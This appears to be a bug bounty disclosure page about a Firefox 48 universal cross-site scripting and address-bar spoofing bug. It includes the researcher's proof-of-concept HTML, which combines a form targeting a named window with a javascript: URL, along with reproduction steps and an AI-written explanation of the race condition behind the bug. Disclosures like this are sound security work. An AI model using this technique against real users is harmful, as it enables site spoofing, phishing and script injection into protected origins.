Firefox V48.0 UXSS & Address Bar Spoofing
A crafted page opened a local file URL in a named window and then navigated that same window to a javascript: URL, which Firefox executed in the context of the loaded page. This let the attacker spoof the address bar and run script in a page's origin, bypassing the same-origin policy.
Originally disclosed on Mozilla
- Fixed in 30 days
- Paid in 39 days
- Disclosed after 30 days
User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36
Steps to reproduce:
Firefox Version: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
1. Download the poc.zip file
2. Put the p.url file into the Path 'C:/'
3. Open the spoof.html, click the 'sumbit' button, wait and reproduce this issue.
spoof.html:
<form action="file://127.0.0.1/c:/p.url" target="xx" method="post" onsubmit="setTimeout(k, 2020)" id="c">
<input type="submit">a</input>
</form>
<script>
function k(){
window.open("ja vascript:document.writeln('Spoof Google.com<img src=# onerror=alert(location.href)>!!')","xx");
}
</script>
You could find more details by watching PoC.mp4 and watch PoC.png
Actual results:
The attacker could spoof and inject javascript code into any web pages. In the PoC, you could find the google.com is spoofed and the same-origin police has been bypassed.
Expected results:
Never change the address bar and navigation utill the page has been full loaded.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a race between loading a local file in a named window and navigating that window to a javascript: URL, so the script ran in the wrong origin and the address bar was not updated in time.
What the attacker needed
Windows victim; Attacker page opened by victim; Local file placed at a fixed path
How it was found
- Place a local .url file at a fixed path on the C: drive.
- Open the attacker page and submit the form, which targets a named window with a local file URL.
- After a short delay, open a javascript: URL in that same named window.
- The script runs in the loaded page's context and the address bar shows a spoofed site.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A browser keeps websites apart so one site cannot read or change another; this is called the same-origin policy. Here the browser was tricked into running attacker script inside a page it should have protected, so the attacker could pretend to be a real site and run code there. The address bar also showed the wrong site, which makes phishing easier.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.